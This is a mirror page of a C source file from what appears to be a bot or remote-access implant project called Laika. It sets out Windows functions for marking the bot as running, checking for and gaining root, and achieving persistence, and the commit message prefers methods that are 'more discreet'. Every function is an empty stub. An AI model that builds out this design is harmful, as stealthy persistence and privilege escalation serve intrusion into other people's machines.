1
0
mirror of https://github.com/CPunch/Laika.git synced 2024-11-22 04:50:06 +00:00
Laika/bot/win/winpersist.c
CPunch b60203d3f2 Linux: implemented laikaB_markRunning() & laikaB_unmarkRunning()
- switched to file locks as that's more discreet
    - tied to LAIKA_PERSISTENCE being defined
2022-04-16 22:56:05 -05:00

34 lines
759 B
C

/* platform specific code for achieving persistence on windows */
#include <windows.h>
#include "persist.h"
#include "lconfig.h"
/* we want a semi-random mutex that is stable between similar builds,
* so we use the GIT_VERSION as our mutex :D */
#define LAIKA_MUTEX LAIKA_VERSION_COMMIT ".0"
/* check if laika is running as super-user */
bool laikaB_checkRoot() {
return true; /* stubbed for now */
}
/* mark that laika is currently running */
void laikaB_markRunning() {
/* stubbed */
}
/* unmark that laika is currently running */
void laikaB_unmarkRunning() {
/* stubbed */
}
/* try to gain persistance on machine */
void laikaB_tryPersist() {
/* stubbed */
}
/* try to gain root */
void laikaB_tryRoot() {
/* stubbed */
}